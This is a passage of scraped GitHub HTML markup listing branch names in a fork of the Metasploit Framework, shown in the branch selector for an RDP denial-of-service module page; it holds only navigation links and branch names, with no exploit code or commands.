title="ibm_cognos_tm1admsd_bof">ibm_cognos_tm1admsd_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ibm_director_cim_dllinject/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ibm_director_cim_dllinject" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ibm_director_cim_dllinject">ibm_director_cim_dllinject</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ibm_spss_c1sizer/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ibm_spss_c1sizer" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ibm_spss_c1sizer">ibm_spss_c1sizer</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ie_cdwnbindinfo_uaf/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ie_cdwnbindinfo_uaf" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ie_cdwnbindinfo_uaf">ie_cdwnbindinfo_uaf</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ie_w2003/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ie_w2003" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ie_w2003">ie_w2003</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/indesign_macosx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="indesign_macosx" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="indesign_macosx">indesign_macosx</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/indusoft_issymbol_internationalseparator/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="indusoft_issymbol_internationalseparator" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="indusoft_issymbol_internationalseparator">indusoft_issymbol_internationalseparator</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/injector_docx_post/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="injector_docx_post" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="injector_docx_post">injector_docx_post</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/inotes_dwa85w_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="inotes_dwa85w_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="inotes_dwa85w_bof">inotes_dwa85w_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/instantcms/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="instantcms" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="instantcms">instantcms</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/j0hnf-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="j0hnf-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="j0hnf-master">j0hnf-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/j7u17_references/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="j7u17_references" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="j7u17_references">j7u17_references</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_0day_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_0day_refs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_0day_refs">java_0day_refs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java7u17_click2play_bypass/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java7u17_click2play_bypass" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java7u17_click2play_bypass">java7u17_click2play_bypass</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_cmm/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_cmm" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_cmm">java_cmm</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_driver_manager/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_jre17_driver_manager" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_jre17_driver_manager">java_jre17_driver_manager</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_glassfish_averagerangestatisticimpl/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_jre17_glassfish_averagerangestatisticimpl" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_jre17_glassfish_averagerangestatisticimpl">java_jre17_glassfish_averagerangestatisticimpl</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_jmxbean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_jre17_jmxbean" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_jre17_jmxbean">java_jre17_jmxbean</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_jmxbean_2/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_jre17_jmxbean_2" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_jre17_jmxbean_2">java_jre17_jmxbean_2</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_jre17_method_handle/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_jre17_method_handle" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_jre17_method_handle">java_jre17_method_handle</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_store_imagearray/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_store_imagearray" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_store_imagearray">java_store_imagearray</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_store_imagearray_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_store_imagearray_clean" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_store_imagearray_clean">java_store_imagearray_clean</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/java_ws_double_quote/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="java_ws_double_quote" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="java_ws_double_quote">java_ws_double_quote</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jboss_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jboss_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jboss_fix">jboss_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jenkins_script_console_mod/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jenkins_script_console_mod" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jenkins_script_console_mod">jenkins_script_console_mod</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jgor-lantronix_telnet_password-bugfixes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jgor-lantronix_telnet_password-bugfixes" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jgor-lantronix_telnet_password-bugfixes">jgor-lantronix_telnet_password-bugfixes</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jlee-r7-cleanup/specs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jlee-r7-cleanup/specs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jlee-r7-cleanup/specs">jlee-r7-cleanup/specs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/joomla_references/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="joomla_references" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="joomla_references">joomla_references</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/joomla_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="joomla_upload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="joomla_upload">joomla_upload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/joomla_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="joomla_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="joomla_work">joomla_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jre7u17/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jre7u17" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jre7u17">jre7u17</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jtr_seeding/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jtr_seeding" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jtr_seeding">jtr_seeding</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-actfax_local_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-actfax_local_exploit" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-actfax_local_exploit">jvazquez-r7-actfax_local_exploit</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-allmediaserver_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-allmediaserver_review" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-allmediaserver_review">jvazquez-r7-allmediaserver_review</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-apache_activemq_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-apache_activemq_traversal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-apache_activemq_traversal">jvazquez-r7-apache_activemq_traversal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-apple_quicktime_texml_zdi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-apple_quicktime_texml_zdi" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-apple_quicktime_texml_zdi">jvazquez-r7-apple_quicktime_texml_zdi</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-atlassian_crowd/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-atlassian_crowd" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-atlassian_crowd">jvazquez-r7-atlassian_crowd</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-client_system_analyzer_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-client_system_analyzer_upload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-client_system_analyzer_upload">jvazquez-r7-client_system_analyzer_upload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-enum_db/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-enum_db" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-enum_db">jvazquez-r7-enum_db</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-gimp_script_fu/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-gimp_script_fu" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-gimp_script_fu">jvazquez-r7-gimp_script_fu</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-h0ng10-Openfire-auth-bypass/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-h0ng10-Openfire-auth-bypass" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-h0ng10-Openfire-auth-bypass">jvazquez-r7-h0ng10-Openfire-auth-bypass</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-hp_alm_xgo_setshapenodetype_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-hp_alm_xgo_setshapenodetype_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-hp_alm_xgo_setshapenodetype_exec">jvazquez-r7-hp_alm_xgo_setshapenodetype_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-hpdp_new_folder_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-hpdp_new_folder_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-hpdp_new_folder_bof">jvazquez-r7-hpdp_new_folder_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-ie_uaf_js_spray_obfuscate/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-ie_uaf_js_spray_obfuscate" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-ie_uaf_js_spray_obfuscate">jvazquez-r7-ie_uaf_js_spray_obfuscate</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-indusoft_webstudio_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-indusoft_webstudio_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-indusoft_webstudio_exec">jvazquez-r7-indusoft_webstudio_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-invision_pboard_cookie_prefix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-invision_pboard_cookie_prefix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-invision_pboard_cookie_prefix">jvazquez-r7-invision_pboard_cookie_prefix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-invision_pboard_unserialize_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-invision_pboard_unserialize_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-invision_pboard_unserialize_exec">jvazquez-r7-invision_pboard_unserialize_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-keyhelp_launchtripane_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-keyhelp_launchtripane_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-keyhelp_launchtripane_exec">jvazquez-r7-keyhelp_launchtripane_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-lmgrd_overflow/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-lmgrd_overflow" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-lmgrd_overflow">jvazquez-r7-lmgrd_overflow</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-msxml_get_definition_code_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-msxml_get_definition_code_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-msxml_get_definition_code_exec">jvazquez-r7-msxml_get_definition_code_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-ntr_activex_stopmodule/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-ntr_activex_stopmodule" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-ntr_activex_stopmodule">jvazquez-r7-ntr_activex_stopmodule</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-pbot_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-pbot_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-pbot_exec">jvazquez-r7-pbot_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-review_irfanview/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-review_irfanview" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-review_irfanview">jvazquez-r7-review_irfanview</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-sap_host_control_cmd_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-sap_host_control_cmd_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-sap_host_control_cmd_exec">jvazquez-r7-sap_host_control_cmd_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-sap_netweaver_dispatcher/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-sap_netweaver_dispatcher" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-sap_netweaver_dispatcher">jvazquez-r7-sap_netweaver_dispatcher</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-setinfopolicy_heap/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-setinfopolicy_heap" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-setinfopolicy_heap">jvazquez-r7-setinfopolicy_heap</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-sugarcrm_unserialize_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-sugarcrm_unserialize_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-sugarcrm_unserialize_exec">jvazquez-r7-sugarcrm_unserialize_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-tikiwiki_unserialize_rce/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-tikiwiki_unserialize_rce" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-tikiwiki_unserialize_rce">jvazquez-r7-tikiwiki_unserialize_rce</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-umbraco_upload_aspx_rev/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-umbraco_upload_aspx_rev" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-umbraco_upload_aspx_rev">jvazquez-r7-umbraco_upload_aspx_rev</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-zenworks_preboot_op4c_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-zenworks_preboot_op4c_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-zenworks_preboot_op4c_bof">jvazquez-r7-zenworks_preboot_op4c_bof</a> + </div> <!-- /.select-menu-item --> + <div 